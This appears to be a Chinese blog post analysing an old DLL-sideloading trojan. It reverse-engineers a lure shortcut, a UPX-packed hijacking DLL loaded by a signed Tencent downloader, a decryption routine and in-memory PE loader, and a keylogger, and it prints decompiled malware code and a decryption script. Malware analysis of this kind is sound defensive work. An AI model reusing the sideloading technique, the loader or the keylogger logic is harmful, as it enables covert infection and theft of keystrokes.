前言
文中图片挂了，为了更好的体验可以查看我的语雀博客：白加黑dll劫持恶意样本分析（https://www.yuque.com/berryalen02/blog/pt7mxqeoz075yloh）
一杯茶，一根烟，一个样本调一天。
这是我在学习网安路上的一条记录。
虽然样本是相对比较古老的，网上也有很多人分析过，但是他们的资料都比较宽泛，过程很跳。对我来说，我希望对这个样本行为有更深更细的掌握，因此在函数行为逻辑方面我做了更深更彻底的探讨，比如键盘记录器以及中途如何去寻找上游控制函数，几个dat文件解密出来的pe、导出函数wow_helper、UserService等更多的细节。希望能够对其他人有所帮助。
这个样本花了我好几天，是我正儿八经自己分析的第一个样本，成就感挺足的，中途还有相当多的不足以及错误，比如远控函数sub_10002020的具体的功能函数，白加黑的恶意DLL Teniodl_Core.dll中装载病毒的函数sub_10001000和sub_100014DE，以及其他我没有关注到的细节，希望大佬们多多指导。
样本分析
白加黑：用自己编写的恶意dll替代合法程序所需DLL，实现恶意代码注入
Windows XP SP2系统以上DLL文件加载的搜索顺序如下：
- 可执行程序加载的目录（可理解为程序安装目录比如C:\Program Files\Internet Explorer）
- 系统目录（即 %windir%\system32）
- 16位系统目录（即 %windir%\system）
- Windows目录（即 %windir%）
- 运行某文件的所在目录（比如C:\Documents and Settings\Administrator\Desktop\test）
- PATH环境变量中列出的目录
根据前面介绍的DLL加载顺序，运行程序的时候会优先到程序执行的目录下加载必须文件，这么一来，病毒作者可以伪造一个dll，包含所有被劫持dll的导出函数，放到可执行程序目录下，当exe运行时，病毒dll就理所当然被优先调用了。
前期文件整理分析
两个隐藏文件，一个截图.bmp
bmp是图像，这里系统解析是快捷方式，这里先不双击，winhex查看bmp
发现他会调用系统的rundll32.exe，调用样本的dat/reg.dll
双击之后，会弹出一个腾讯游戏云加速下载引擎，然后跳出一个DNF价格表jpg图片
火绒剑监控rundll32.exe进程，过滤rundll32.exe进程和病毒文件夹路径
可以看到，调用了三种dll
- dat/Reg.dll
- HD_Comm.dll
- dat/TenioDL_core.dll
并且观察进程可以发现，多了QQGame.exe
查看可疑进程dllhost.exe，可以发现dat中的TenioDL_core.dll
双击bmp之后还有一个可疑进程Au.exe，查看信息可以知道就是刚刚跳出来的下载引擎
整理以上信息
| 文件名 |
MD5 |
是否有签名 |
| HD_Comm.dll |
4E7297B83268994537D575716CC65A54 |
无 |
| 截图.bmp.lnk |
5C9422B6B2731A67D8504CD5C8F96812 |
无 |
| Au.exe |
4BED62D4A1344F3A87E8B8A629E3B26D |
有(腾讯游戏云加速下载引擎（旋风Inside） |
| Config.dat |
B6BE1CFEB69FC091E67480E45E9B4B4D |
无 |
| io.dat |
798536BB39EF2066DF35885F78C59A58 |
无 |
| Reg.dll |
E3DE7CB9E11F877ABDB56D832F20E76F |
有 |
| config.dat |
B6BE1CFEB69FC091E67480E45E9B4B4D |
无 |
| dllhost.exe |
9A0F444364CC3FC74C3AB1E7BFBD219B |
无 |
| load.exe |
4BED62D4A1344F3A87E8B8A629E3B26D |
有(腾讯游戏云加速下载引擎（旋风Inside）) |
| TenioDL_core.dll |
4E7297B83268994537D575716CC65A54 |
无 |
接下来就是根据这个表进行分析
首先分析reg.dll
Reg.dll
先静态分析
扔到IDA中，查看字符串
导入文件的过程中，要求我们导入病毒文件夹中的HD_Comm.dll文件，这个后面得分析
复现文章中有中文，银行检测工具啥的，我没带插件，分析的其实是英文
可以猜测是安全检测工具的dll，或者是恶意工具实现的导出函数
这里的字符串没有什么特别可疑的，大部分是函数名和dll调用，最可疑的还是病毒自己实现的HD_Comm.dll
.rdata:10006E20 0000000C C HD_Comm.dll
整体上Reg.dll还是一个跳板文件，这里分析HD_Comm.dll
HD_Comm.dll
这个DLL解析不出导入表，查看导出表，其中有很多函数，可能是在正常dll文件中加入了恶意代码
发现加了UPX壳，脱壳，安装官方工具[url=https://github.com/upx/upx/releases]https://github.com/upx/upx/releases，脱壳upx -d即可
PS C:\Users\wang\Desktop\upx-4.2.3-win64> .\upx.exe -d C:\Users\wang\Desktop\信誉新价格\HD_Comm.dll
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.3 Markus Oberhumer, Laszlo Molnar & John Reiser Mar 27th 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
24576 <- 9728 39.58% win32/pe HD_Comm.dll
Unpacked 1 file.
PS C:\Users\wang\Desktop\upx-4.2.3-win64>
重新分析HD_Comm.dll发现已经脱壳了，原先的是upx壳，所以导入表没用，导出表仍然是那么多
导入表比较可疑，发现了shellcode常用的几个api，winexec、createfileA、LoadLibraryA等
dllmain比较小只，逻辑比较简单
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
CHAR ExistingFileName[257]; // [esp+8h] [ebp-40Ch] BYREF
__int16 v5; // [esp+109h] [ebp-30Bh]
char v6; // [esp+10Bh] [ebp-309h]
CHAR Filename[253]; // [esp+10Ch] [ebp-308h] BYREF
__int16 v8; // [esp+209h] [ebp-20Bh]
char v9; // [esp+20Bh] [ebp-209h]
CHAR String1[257]; // [esp+20Ch] [ebp-208h] BYREF
__int16 v11; // [esp+30Dh] [ebp-107h]
char v12; // [esp+30Fh] [ebp-105h]
CHAR pszPath[257]; // [esp+310h] [ebp-104h] BYREF
__int16 v14; // [esp+411h] [ebp-3h]
char v15; // [esp+413h] [ebp-1h]
memset(Filename, 0, sizeof(Filename));
dword_100035F0 = hinstDLL;
v8 = 0;
v9 = 0;
GetModuleFileNameA(0, Filename, 0xFFu);
CharLowerA(Filename);
if ( StrStrA(Filename, pszSrch) )
{
if ( CreateMutexA(0, 0, Name) && GetLastError() == 183 )
ExitProcess(0);
memset(pszPath, 0, sizeof(pszPath));
v14 = 0;
v15 = 0;
GetModuleFileNameA(dword_100035F0, pszPath, 0x104u);
PathRemoveFileSpecA(pszPath);
lstrcatA(pszPath, aDatTeniodlCore);
memset(ExistingFileName, 0, sizeof(ExistingFileName));
v5 = 0;
v6 = 0;
GetModuleFileNameA(dword_100035F0, ExistingFileName, 0x104u);
CopyFileA(ExistingFileName, pszPath, 0);
memset(String1, 0, sizeof(String1));
v11 = 0;
v12 = 0;
GetModuleFileNameA(dword_100035F0, String1, 0x104u);
PathRemoveFileSpecA(String1);
lstrcatA(String1, aDatAuExe);
WinExec(String1, 0);
}
return 1;
}
- CreateMutexA创建互斥对象，确保只运行一个恶意程序
- 获取当前模块文件名，并通过 PathRemoveFileSpecA 函数去掉文件名部分，得到目录路径。然后将 aDatTeniodlCore 字符串追加到目录路径后面，得到一个新的文件路径，并使用CopyFileA将当前模块对应DLL复制到这个路径，具体的就是：以分析环境为例，构造出
C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll路径，然后把当前的HD_Comm.dll复制并重命名**C:\Users\wang\Desktop\信誉新价格\dat\TenioDL_core.dll**。
- 获取当前DLL路径，将aDatAuExe字符串追加到路径后，构造出
**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**
- 使用WinExec执行
**C:\Users\wang\Desktop\信誉新价格\dat\Au.exe**
Au.exe
运行Au.exe，发现dnf的图片跳出来，说明病毒已经运行。
静态分析，查壳，无壳
IDA分析，符号表不全，先查看字符串
注意到字符表，可能用来做加密
搜索dll、exe等敏感字符，发现会调用我们之前复制过去的TenioDL_core.dll
从WinMain开始分析
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
if ( sub_401C50() )
return -1;
ImmDisableIME(0xFFFFFFFF);
sub_401ED0();
strstr(lpCmdLine, "tenio_debug_console");
TenioDL_Initialize();
ReleaseMutex(hMutex);
return 0;
}
经过总体分析，这里的sub_401C50是全局话的设置，ImmDisableIME是输入法方面设置，sub_401ED0设置了一些安全方面的内容，疑似下了一些检测filter和钩子，最终调用了TenioDL_Initialize。
搜索TenioDL_Initialize，可以发现Teniodl进程是腾讯游戏中高速下载引擎下载进程，而这个函数是做初始化操作的。
上面我们知道Au.exe调用了Teniodl_Core.dll，搜索引用发现TenioDL_Initialize是Teniodl_Core.dll的导出函数，所以去分析TenioDL_Initialize函数
.rdata:00425C94 54 65 6E 69 6F 44 4C 5F 63 6F+aTeniodlCoreDll db 'TenioDL_core.dll',0 ; DATA XREF: .rdata:00425864↑o
.rdata:00425864 94 5C 02 00 dd rva aTeniodlCoreDll ; DLL Name
.rdata:00425868 98 21 02 00 dd rva ?TenioDL_Initialize@@YAHXZ ; Import Address Table
Teniodl_Core.dll
我们知道，Teniodl_Core.dll其实就是我们之前分析的HD_Comm.dll，不过这里调用的是HD_Comm.dll提供的导出函数，不是DllMain。
跟进TenioDL_Initialize
（同样的这个dll需要脱upx壳）
进入函数之后可以查看到，首先调用GetModuleFileNameA获取模块名，GetForegroundWindow和GetInputState检查前台窗口和输入状态（不明白有啥用），PathRemoveFileSpecA去除文件名，再用lstrcatA追加\config.dat，构造出C:\Users\wang\Desktop\信誉新价格\dat\Config.dat，这就是存放病毒的数据文件。
; Exported entry 107. ?TenioDL_Initialize@@YAHXZ
; Attributes: bp-based frame
; int __cdecl TenioDL_Initialize()
public ?TenioDL_Initialize@@YAHXZ
?TenioDL_Initialize@@YAHXZ proc near
Filename= byte ptr -10Ch
NumberOfBytesRead= dword ptr -8
hFile= dword ptr -4
push ebp
mov ebp, esp
sub esp, 10Ch
push esi
push edi
lea eax, [ebp+Filename]
push 104h ; nSize
push eax ; lpFilename
push dword_100035F0 ; hModule
call ds:GetModuleFileNameA
call ds:GetForegroundWindow
call ds:GetInputState
lea eax, [ebp+Filename]
push eax ; pszPath
call ds:PathRemoveFileSpecA
lea eax, [ebp+Filename]
push offset aConfigDat ; "\\config.dat"
push eax ; lpString1
call ds:lstrcatA
xor edi, edi
lea eax, [ebp+Filename]
push edi ; hTemplateFile
push edi ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push edi ; lpSecurityAttributes
push edi ; dwShareMode
push 80000000h ; dwDesiredAccess
push eax ; lpFileName
call ds:CreateFileA
继续查看代码。指定了config.dat文件，首先会创建或者打开config.dat，readfile读取文件内容到开辟出来的堆内存中，然后解密函数从内存中把数据写入config.dat
int __cdecl TenioDL_Initialize()
{
int v0; // edi
HANDLE FileA; // eax
DWORD FileSize; // ebx
HANDLE ProcessHeap; // eax
char *v4; // esi
int v5; // eax
void *v6; // esi
void (*v8)(void); // eax
CHAR Filename[260]; // [esp+8h] [ebp-10Ch] BYREF
DWORD NumberOfBytesRead; // [esp+10Ch] [ebp-8h] BYREF
HANDLE hFile; // [esp+110h] [ebp-4h]
GetModuleFileNameA(dword_100035F0, Filename, 0x104u);
GetForegroundWindow();
GetInputState();
PathRemoveFileSpecA(Filename);
lstrcatA(Filename, aConfigDat);
v0 = 0;
FileA = CreateFileA(Filename, 0x80000000, 0, 0, 3u, 0, 0);
hFile = FileA;
if ( FileA == (HANDLE)-1 )
{
CloseHandle((HANDLE)0xFFFFFFFF);
return 0;
}
FileSize = GetFileSize(FileA, 0);
ProcessHeap = GetProcessHeap();
v4 = (char *)HeapAlloc(ProcessHeap, 8u, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v4, FileSize, &NumberOfBytesRead, 0);
CloseHandle(hFile);
sub_100016B0(++v4, FileSize, 0x18u);
v5 = sub_10001000(v4);
v6 = (void *)v5;
if ( !v5 )
return 0;
v8 = (void (*)(void))sub_100014DE(v5, String1);
if ( v8 )
{
v8();
v0 = 42;
}
sub_10001587(v6);
return v0;
}
解密函数
进入sub_100016B0看看，可以发现先这个操作非常像解密函数，传入的a1参数是开辟的堆内存，其中存放config.dat读取进的数据
v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)HeapAlloc(ProcessHeap, 8u, FileSize);
NumberOfBytesRead = 0;
ReadFile(hFile, v5, FileSize, &NumberOfBytesRead, 0);
CloseHandle(hFile);
v5 = (struct _INFORMATIONCARD_CRYPTO_HANDLE *)((char *)v5 + 1);
sub_100016B0(v5, FileSize, 0x18u);
// sub_100016B0重命名为TrojanDecrypt
......
// push 18h
// push ebx
// push esi
// call TrojanDecrypt ; 病毒解密函数
// 病毒解密函数
int __cdecl TrojanDecrypt(int a1, int a2, unsigned __int8 a3)
{
int result; // eax
int v4; // esi
result = a3 / 169;
v4 = a2;
if ( a2 )
{
result = a1;
do
{
*(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
++result;
--v4;
}
while ( v4 );
}
return result;
}
汇编如下：
.text:100016B0 ; =============== S U B R O U T I N E =======================================
.text:100016B0
.text:100016B0 ; 病毒解密函数
.text:100016B0 ; Attributes: bp-based frame
.text:100016B0
.text:100016B0 ; int __cdecl TrojanDecrypt(int, int, unsigned __int8)
.text:100016B0 TrojanDecrypt proc near ; CODE XREF: TenioDL_Initialize(void)+B7↓p
.text:100016B0
.text:100016B0 arg_0= dword ptr 8
.text:100016B0 arg_4= dword ptr 0Ch
.text:100016B0 arg_8= byte ptr 10h
.text:100016B0
.text:100016B0 55 push ebp
.text:100016B1 8B EC mov ebp, esp
.text:100016B3 56 push esi
.text:100016B4 90 nop
.text:100016B5 90 nop
.text:100016B6 90 nop
.text:100016B7 90 nop
.text:100016B8 90 nop
.text:100016B9 0F B6 45 10 movzx eax, [ebp+arg_8]
.text:100016BD 99 cdq
.text:100016BE B9 A9 00 00 00 mov ecx, 0A9h
.text:100016C3 F7 F9 idiv ecx
.text:100016C5 80 C2 08 add dl, 8
.text:100016C8 90 nop
.text:100016C9 8B 75 0C mov esi, [ebp+arg_4]
.text:100016CC 85 F6 test esi, esi
.text:100016CE 76 0F jbe short loc_100016DF
.text:100016CE
.text:100016D0 8B 45 08 mov eax, [ebp+arg_0]
.text:100016D0
.text:100016D3
.text:100016D3 loc_100016D3: ; CODE XREF: TrojanDecrypt+2D↓j
.text:100016D3 8A 08 mov cl, [eax]
.text:100016D5 32 CA xor cl, dl
.text:100016D7 2A CA sub cl, dl
.text:100016D9 88 08 mov [eax], cl
.text:100016DB 40 inc eax
.text:100016DC 4E dec esi
.text:100016DD 75 F4 jnz short loc_100016D3
.text:100016DD
.text:100016DF
.text:100016DF loc_100016DF: ; CODE XREF: TrojanDecrypt+1E↑j
.text:100016DF 5E pop esi
.text:100016E0 5D pop ebp
.text:100016E1 C3 retn
.text:100016E1
.text:100016E1 TrojanDecrypt endp
根据反汇编代码我们可以得到解密思路：
*(_BYTE *)result = ((a3 % 169 + 8) ^ *(_BYTE *)result) - (a3 % 169 + 8);
++result;
--v4;
提取病毒
浅浅写一个脚本
def decrypt_data(input_file, output_file, key):
# 读取输入文件
with open(input_file, 'rb') as f:
encrypted_data = f.read()
decrypted_data = bytearray()
# 解密过程
for byte in encrypted_data:
decrypted_byte = ((key % 169 + 8) ^ byte) - (key % 169 + 8)
# 由于减法可能导致字节值小于0，我们需要将其模256以保持在有效字节范围内
decrypted_data.append(decrypted_byte & 0xFF)
# 写入输出文件
with open(output_file, 'wb') as f:
f.write(decrypted_data)
# 解密密钥
key = 0x18
# 调用解密函数
decrypt_data('Config.dat', 'result.dat', key)
但是这里脚本有点问题，我直接到动调里面内存dump吧
走出100016B0之后，内存中的PE已经被修改了。
浅浅算一下文件地址，winhex中看到大小为64CF0
动调中，ESI起始地址（内存分配地址）为0xx6B68D1，加一起就是0x71B5C1。
dump出来，保存为文件
sub_10001000（没分析明白，感觉是病毒装载执行函数）
在病毒的解密（sub_100016B0）之后，进入sub_10001000，分析在注释中
// 入参为病毒PE文件句柄
_DWORD *__cdecl sub_10001000(_DWORD *Src)
{
HMODULE LibraryA; // eax
HMODULE v2; // eax
char *v3; // esi
char *v4; // ebx
HANDLE ProcessHeap; // eax
_DWORD *v6; // edi
char *v7; // eax
char *v8; // eax
LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD); // [esp+Ch] [ebp-4h]
char *v11; // [esp+Ch] [ebp-4h]
LibraryA = LoadLibraryA(LibFileName); // kernel32.dll
VirtualAlloc = (LPVOID (__stdcall *)(LPVOID, SIZE_T, DWORD, DWORD))GetProcAddress(LibraryA, ProcName);// VirtuallAlloc
v2 = LoadLibraryA(LibFileName);
GetProcAddress(v2, aVirtualprotect); // VirtualProtect
GetForegroundWindow();
GetInputState();
GetForegroundWindow();
GetInputState();
if ( *(_WORD *)Src != 23117 ) // 0X4D5A "MZ"
return 0;
v3 = (char *)Src + Src[15]; // 为什么是src+src[15]？这里应该是要到达PE头，但是难道不是访问e_lfanew吗？偏移为0x3c
// 答：可能是经过了编译器优化，或者特殊的编程技巧。反正这里一定是指向的NT头
if ( *(_DWORD *)v3 != 17744 ) // 0x4550 "PE"
return 0;
v4 = (char *)VirtualAlloc(*((LPVOID *)v3 + 13), *((_DWORD *)v3 + 20), 0x2000, 4);// 尝试在ImageBase地址处开辟大小为SizeOfImage大小的内存
if ( !v4 )
{
v4 = (char *)VirtualAlloc(0, *((_DWORD *)v3 + 20), 0x2000, 4);// 随机开辟SizeOfImage大小的内存
if ( !v4 )
return 0;
}
ProcessHeap = GetProcessHeap(); // 获取进程堆句柄
v6 = HeapAlloc(ProcessHeap, 0, 0x14u); // 开辟0x14大小的堆，未初始化内存
v6[1] = v4; // 注册刚刚分配的虚拟内存
v6[3] = 0;
v6[2] = 0;
v6[4] = 0;
VirtualAlloc(v4, *((_DWORD *)v3 + 20), 4096, 4);// 这可能是反编译的误解，这里没有必要
v11 = (char *)VirtualAlloc(v4, *((_DWORD *)v3 + 21), 4096, 4);
memcpy(v11, Src, *((_DWORD *)v3 + 21) + Src[15]);
v7 = &v11[Src[15]];
*v6 = v7;
*((_DWORD *)v7 + 13) = v4;
sub_10001171(Src, v3, v6);
if ( v4 != *((char **)v3 + 13) )
sub_10001339(v6, &v4[-*((_DWORD *)v3 + 13)]);
if ( !sub_100013CA(v6) )
{
LABEL_11:
sub_10001587(v6);
return 0;
}
sub_1000125D(v6);
if ( *(_DWORD *)(*v6 + 40) )
{
GetForegroundWindow();
GetInputState();
GetForegroundWindow();
GetInputState();
v8 = &v4[*(_DWORD *)(*v6 + 40)];
if ( !v8 || !((int (__stdcall *)(char *, int, _DWORD))v8)(v4, 1, 0) )
goto LABEL_11;
v6[4] = 1;
}
return v6;
}
我的直觉告诉我这里的v8函数调用应该有大问题，但是静态分析实在怼不出来，动调试一下，看看v8指向的是哪里。
NT头检测
edi指向pe头
步入v8调用的函数，然后啥都没分析出来，没看到什么敏感的函数或者操作，开辟了个内存然后又释放了。
这个v6，应当是注册PE各个头内存地址的堆，动调没看出个所以然来。
菜了，不知道这里是不是这种思路，看不出东西我就先过。
sub_100014DE
解密病毒文件之后，调用sub_100014DE，传入的string1为wow_helper，v5为堆内存（这个堆有啥用没分析明白）
v5 = sub_10001000(v4);
v6 = v5;
if ( !v5 )
return 0;
v8 = (void (*)(void))sub_100014DE((int)v5, String1);
if ( v8 )
{
v8();
v0 = 42;
}
sub_10001587(v6);
return v0;
}
这个函数事后诸葛亮地分析一波，其中有stricmp函数进行比较，应当是搜索wow_helper，我们也知道这是Config.dat的导出函数，那么这里应当就是搜索这个导出函数的。
最终会返回一个句柄，并且在外部执行这个函数，动调看一眼!
动调跟进call eax。调试发现这里调用了病毒文件Config.dat，相关字符串是Config.dat的
021DAC60 | 81EC EC0D0000 | sub esp,DEC |
021DAC66 | 68 4CC31E02 | push 21EC34C | 21EC34C:"KSafeTray.exe"
021DAC6B | E8 A0FAFFFF | call 21DA710 |
021DAC70 | 83C4 04 | add esp,4 |
021DAC73 | 85C0 | test eax,eax |
021DAC75 | 74 0D | je 21DAC84 |
021DAC77 | 68 4CC31E02 | push 21EC34C | 21EC34C:"KSafeTray.exe"
021DAC7C | E8 BFF4FFFF | call 21DA140 |
021DAC81 | 83C4 04 | add esp,4 |
021DAC84 | 53 | push ebx |
021DAC85 | 55 | push ebp |
021DAC86 | 56 | push esi | esi:&"PE"
021DAC87 | 57 | push edi |
021DAC88 | 33DB | xor ebx,ebx |
021DAC8A | B9 3F000000 | mov ecx,3F | ecx:"wow_helper", 3F:'?'
021DAC8F | 33C0 | xor eax,eax |
021DAC91 | 8DBC24 F1070000 | lea edi,dword ptr ss:[esp+7F1] |
021DAC98 | 889C24 F0070000 | mov byte ptr ss:[esp+7F0],bl |
021DAC9F | 8B35 88511E02 | mov esi,dword ptr ds:[<&GetModuleFileNa | esi:&"PE"
021DACA5 | F3:AB | rep stosd |
021DACA7 | 66:AB | stosw |
021DACA9 | AA | stosb |
021DACAA | 8D8424 F0070000 | lea eax,dword ptr ss:[esp+7F0] |
021DACB1 | 68 FF000000 | push FF |
021DACB6 | 50 | push eax |
021DACB7 | 53 | push ebx |
021DACB8 | FFD6 | call esi |
021DACBA | 8D8C24 F0070000 | lea ecx,dword ptr ss:[esp+7F0] |
021DACC1 | 51 | push ecx | ecx:"wow_helper"
021DACC2 | FF15 B4531E02 | call dword ptr ds:[<&CharLowerA>] |
021DACC8 | 8D9424 F0070000 | lea edx,dword ptr ss:[esp+7F0] |
021DACCF | 68 40C31E02 | push 21EC340 | 21EC340:"load.exe"
021DACD4 | 52 | push edx |
021DACD5 | FF15 00531E02 | call dword ptr ds:[<&StrStrA>] |
021DACDB | 85C0 | test eax,eax |
021DACDD | 0F84 C7010000 | je 21DAEAA |
021DACE3 | 53 | push ebx |
021DACE4 | 8D8424 EC030000 | lea eax,dword ptr ss:[esp+3EC] |
021DACEB | 6A 24 | push 24 |
021DACED | 50 | push eax |
021DACEE | 53 | push ebx |
021DACEF | FF15 E0521E02 | call dword ptr ds:[<&SHGetSpecialFolder |
021DACF5 | 8D8C24 E8030000 | lea ecx,dword ptr ss:[esp+3E8] |
021DACFC | 68 C8C11E02 | push 21EC1C8 | 21EC1C8:"\\limit\\dllhost.exe"
021DAD01 | 51 | push ecx | ecx:"wow_helper"
021DAD02 | FF15 30521E02 | call dword ptr ds:[<&lstrcatA>] |
021DAD08 | 8B2D 60511E02 | mov ebp,dword ptr ds:[<&LoadLibraryA>] |
021DAD0E | 68 A0C01E02 | push 21EC0A0 | 21EC0A0:"kernel32.dll"
上面这俩函数没有分析明白，先看病毒程序吧
Config.dat 病毒分析
字符串分析
之前内存dump出来的病毒扔到IDA中，识别为PE。查看字符串
-
键盘抓取相关
.data:1001B744 0000000E C [Pause Break]
.data:1001B754 00000008 C [Shift]
.data:1001B75C 00000006 C [Alt]
.data:1001B764 00000008 C [CLEAR]
.data:1001B76C 0000000C C [BACKSPACE]
.data:1001B778 00000009 C [DELETE]
.data:1001B784 00000009 C [INSERT]
.data:1001B798 0000000B C [Num Lock]
.data:1001B7A4 00000007 C [Down]
.data:1001B7AC 00000008 C [Right]
.data:1001B7BC 00000007 C [Left]
.data:1001B7C4 0000000B C [PageDown]
.data:1001B7D0 00000006 C [End]
.data:1001B7D8 00000009 C [Delete]
.data:1001B7E4 00000009 C [PageUp]
.data:1001B7F0 00000007 C [Home]
.data:1001B7F8 00000009 C [Insert]
.data:1001B804 0000000E C [Scroll Lock]
.data:1001B814 0000000F C [Print Screen]
.data:1001B82C 00000006 C [WIN]
.data:1001B834 00000007 C [CTRL]
.data:1001B8C4 00000006 C [TAB]
.data:1001B900 00000006 C [F12]
.data:1001B908 00000006 C [F11]
.data:1001B910 00000006 C [F10]
.data:1001B960 00000006 C [ESC]
.data:1001B968 00000008 C [Enter]
.data:1001B9A8 0000000A C <Enter>\r\n
.data:1001B9B4 0000000C C <BackSpace>
-
域名/QQ
.data:1001BAB4 0000000E C 981859203.com
-
可疑文件路径
.data:1001C1C8 00000013 C \\limit\\dllhost.exe
.data:1001C1FC 0000000F C //Explorer.EXE
.data:1001C20C 0000000C C 360Tray.exe
.data:1001C224 00000008 C \\Au.exe
.data:1001C264 00000009 C c:\\1.jpg
.data:1001C270 00000018 C \\limit\\TenioDL_core.dll
.data:1001C288 00000012 C \\TenioDL_core.dll
.data:1001C29C 00000012 C \\limit\\config.dat
.data:1001C2B0 0000000C C \\config.dat
.data:1001C2BC 0000000D C \\dllhost.exe
.data:1001C2CC 00000007 C \\limit
.data:1001C2D4 00000010 C \\limit\\load.exe
.data:1001C2EC 00000008 C \\io.dat
.data:1001C2F8 0000001B C \\Tencent\\QQGAME\\QQGame.exe
.data:1001C314 00000008 C \\QQGAME
.data:1001C31C 00000009 C \\Tencent
.data:1001C340 00000009 C load.exe
.data:1001C34C 0000000E C KSafeTray.exe
.data:1001C36C 00000010 C \\Tencent\\QQGAME
键盘记录
任意挑选一个键盘相关字符串，我这里选择Shift，查看交叉引用
发现是单字符存储（数组），那么就查看数组的交叉引用，类型为r说明被读取了!
可以发现，作为lstrcatA的参数，拿去与字符串拼接了!
按下空格，查看一下总体模块流程
查看详细的键盘记录逻辑，分析sub_10006040函数
函数中有三个关键参数：v2计数器、string、v8字符数组
函数会首先判断string是否为空，不为空的话会调用sub_10005F30处理收集到的字符信息
这里我们首先查看字符为空，函数如何收集按键信息
按键记录（sub_10006040）
v2 = 0;
while ( 1 )
{
KeyState = GetKeyState(16); // 检查Shift键是否被按下
v4 = dword_1001B4F4[v2]; // 获取当前迭代中指定的键的虚拟键码
v5 = KeyState; // 存储Shift键的状态
if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
{
// ...其他代码处理按键释放...
}
else
{
// ...其他代码处理按键按下...
}
// ...循环的其他部分...
if ( ++v2 >= 101 )
break;
}
首先他使用v2进行虚拟键码迭代
1. **循环初始化**：**v2**被初始化为0，它作为循环计数器和数组索引。
2. **无限循环**：**while (1)**创建了一个无限循环，这意味着循环会一直执行，直到遇到**break**语句。
3. **Shift键状态**：**GetKeyState(16)**调用检查Shift键（其虚拟键码为16）是否被按下。如果按下，返回值的最高位将被设置。
4. **获取虚拟键码**：**v4**从**dword_1001B4F4**数组中获取当前迭代v2的值对应的键的虚拟键码。
5. **按键状态获取**：
- **GetAsyncKeyState(v4)**调用检查**v4**指定的键是否在之前的检查周期内被按下。
- 结果通过右移8位并与0x80进行位与操作来检查。如果结果为0，表示键没有被按下；如果不为0，表示键被按下。
6. **按键按下与释放的处理**：
- 如果键没有被按下，代码进入一个分支处理按键释放的情况。
- 如果键被按下，代码进入另一个分支处理按键按下的情况。
7. **循环计数器递增**：**v2**递增，准备检查下一个键。
8. **循环终止条件**：如果**v2**达到101，循环通过**break**终止。
接下来是不同按键的处理逻辑
```cpp
if ( (((unsigned __int16)GetAsyncKeyState(v4) >> 8) & 0x80u) == 0 ) // 检查v4指定的键是否被按下
{
v6 = v8[v4];
if ( v6 )
{
v8[v4] = 0;
if ( v4 == 8 ) // 如果是退格键
{
lstrcatA(String, aBackspace); // 添加退格字符到String数组
sub_10005DF0(String); // 发送String数组的内容
}
else if ( lstrlenA(String) <= 550 ) // 如果String数组的长度小于或等于550
{
if ( v4 != 13 ) // 如果不是回车键
{
if ( v6 % 2 == 1 ) // 如果v8数组中的值是奇数
{
lstrcatA(String, off_1001B360[v2]); // 添加大写字母到String数组
}
else if ( !(v6 % 2) ) // 如果v8数组中的值是偶数
{
lstrcatA(String, off_1001B1CC[v2]); // 添加小写字母到String数组
}
}
else // 如果是回车键
{
lstrcatA(String, aEnter); // 添加回车字符到String数组
sub_10005DF0(String); // 发送String数组的内容
}
}
else // 如果String数组的长度超过550
{
sub_10005DF0(String); // 发送String数组的内容
}
memset(String, 0, sizeof(String)); // 清空String数组
}
}
else // 如果v4指定的键被按下
{
// ...代码处理按键按下的情况...
}
按键活动处理：
- 当检测到一个键从按下状态变为未按下状态时，函数会检查
v8数组中对应键码v4的值。
- 如果该值非零，表示之前这个键被按下过。
- 如果是
退格键（键码8），函数会添加一个表示退格的字符串到String数组，并调用sub_10005DF0来处理String数组的内容。
- 对于
回车键（键码13），函数会添加一个表示回车的字符串到String数组，并调用sub_10005DF0来处理String数组的内容。
- 对于其他键，函数会根据
v8数组中的值（奇数或偶数）来决定添加大写字母还是小写字母到String数组。
大写锁定和Shift键处理：
- 如果大写锁定（Caps Lock）被激活，且Shift键未被按下，且按键是字母键，则函数会根据这些条件来决定是添加大写字母还是小写字母到
String数组。
v8数组的值会根据大写锁定和Shift键的状态来更新。
字符串发送：
- 如果
String数组的长度超过了一定的限制（例如550），或者按键活动已经被处理（如回车键），函数会调用sub_10005DF0来发送或记录String数组中的内容。
分析一下sub_10005DF0
BOOL __cdecl sub_10005DF0(LPCSTR lpString)
{
HANDLE FileA; // ebp
int v2; // esi
_BYTE *v3; // eax
const void *v4; // edi
const CHAR *v5; // ecx
int v6; // eax
DWORD NumberOfBytesWritten; // [esp+10h] [ebp-108h] BYREF
CHAR Buffer[260]; // [esp+14h] [ebp-104h] BYREF
GetSystemDirectoryA(Buffer, 0x104u); // 获取系统目录路径
strcat(Buffer, asc_1001B83C); // 追加'\'
strcat(Buffer, aWindows); // 追加'Windows'
strcat(Buffer, aKey); // 追加'.key'
// 创建文件
// C:\Windows\System32\Windows.key
FileA = CreateFileA(Buffer, 0x40000000u, 2u, 0, 4u, 0x80u, 0);
NumberOfBytesWritten = 0;
// GetFileSize检查文件大小，如果小于50MB（0x3200000字节）
// SetFilePointer将文件指针移动到文件末尾，准备追加数据
if ( GetFileSize(FileA, 0) < 0x3200000 )
SetFilePointer(FileA, 0, 0, 2u);
// 计算传入的string参数长度，new一个空间
v2 = lstrlenA(lpString);
v3 = operator new(v2);
v4 = v3;
if ( v2 > 0 )
{
// 参数字符串与新开辟的字符串内存地址偏移
v5 = (const CHAR *)(lpString - v3);
do
{
// 利用v3指针与偏移，提取处理后的lpstring数据到v3内存
// lpstring每一位与0x62进行异或操作
*v3 = v3[(_DWORD)v5] ^ 0x62;
++v3;
--v2;
}
while ( v2 );
}
v6 = lstrlenA(lpString);
// 将异或后的数据写入Windows.key文件
